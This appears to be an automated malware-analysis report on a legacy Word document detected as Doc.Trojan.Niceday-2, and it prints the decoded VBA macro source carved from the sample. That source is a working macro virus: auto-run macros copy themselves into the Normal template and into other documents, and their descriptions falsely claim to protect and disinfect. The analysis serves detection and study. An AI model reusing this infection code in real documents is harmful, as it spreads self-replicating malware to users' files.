Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9cf17c5064db89d5…

MALICIOUS

Office (OLE)

39.0 KB Created: 1996-10-11 07:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e77b6f0ad934dd68f7b4e3b7531a1be6 SHA-1: 8a632517b0f9e64452c42630adca11ab8d3357f8 SHA-256: 9cf17c5064db89d5c9074a47f13a142aada5c4d0092be14cae84f52f1c5f850e
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing multiple VBA macros, including AutoOpen, AutoClose, and AutoExit. The AutoClose macro copies a macro named 'Payload' and others into the current document, then saves it. This behavior suggests the document is designed to spread its malicious macro functionality to other documents.

Heuristics 5

  • ClamAV: Doc.Trojan.Niceday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Niceday-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2998 bytes
SHA-256: a775c083618be4c7a7b69c0d7e5eaa77d0dd7d5f2c3813568138a9d24395eaaa
Detection
ClamAV: Doc.Trojan.Niceday-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim counter
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort
WordBasic.DisableAutoMacros
            counter = counter + 1
        WordBasic.FileSaveAs Format:=1

        vZap$ = WordBasic.[FileName$]()

        vMacro$ = vZap$ + ":Payload"
        WordBasic.MacroCopy "Global:PayLoad", vMacro$

        vMacro$ = vZap$ + ":AutoExit"
        WordBasic.MacroCopy "Global:AutoExit", vMacro$

        vMacro$ = vZap$ + ":AutoOpen"
        WordBasic.MacroCopy "Global:VOpen", vMacro$

        vMacro$ = vZap$ + ":VClose"
        WordBasic.MacroCopy "Global:AutoClose", vMacro$

        WordBasic.FileSaveAs Format:=1

Abort:
End Sub

Attribute VB_Name = "AutoExit"

Rem Concept3.AutoExit.Macro
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim message1$
Dim daynumber
Dim monthnumber
message1$ = "Have a Nice Day You Fool!"

daynumber = WordBasic.Day(WordBasic.Now())
monthnumber = WordBasic.Month(WordBasic.Now())

If daynumber = 1 And monthnumber = 4 Then WordBasic.MsgBox message1$ Else WordBasic.MsgBox message1$

End Sub

Attribute VB_Name = "PayLoad"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Null macro to prevent prank macros from re-installing.  Do not delete."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.PayLoad.MAIN"
    Rem That's enough to prove my point
End Sub

Attribute VB_Name = "VOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.VOpen.MAIN"
Dim counter
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort
WordBasic.DisableAutoMacros
            counter = counter + 1
    
            vZap$ = WordBasic.[FileName$]()

            vMacro$ = vZap$ + ":Payload"
            WordBasic.MacroCopy vMacro$, "Global:PayLoad"

            vMacro$ = vZap$ + ":AutoExit"
            WordBasic.MacroCopy vMacro$, "Global:AutoExit"

            vMacro$ = vZap$ + ":AutoOpen"
            WordBasic.MacroCopy vMacro$, "Global:VOpen"

            vMacro$ = vZap$ + ":VClose"
            WordBasic.MacroCopy vMacro$, "Global:AutoClose"

Abort:
counter = counter + 1

End Sub

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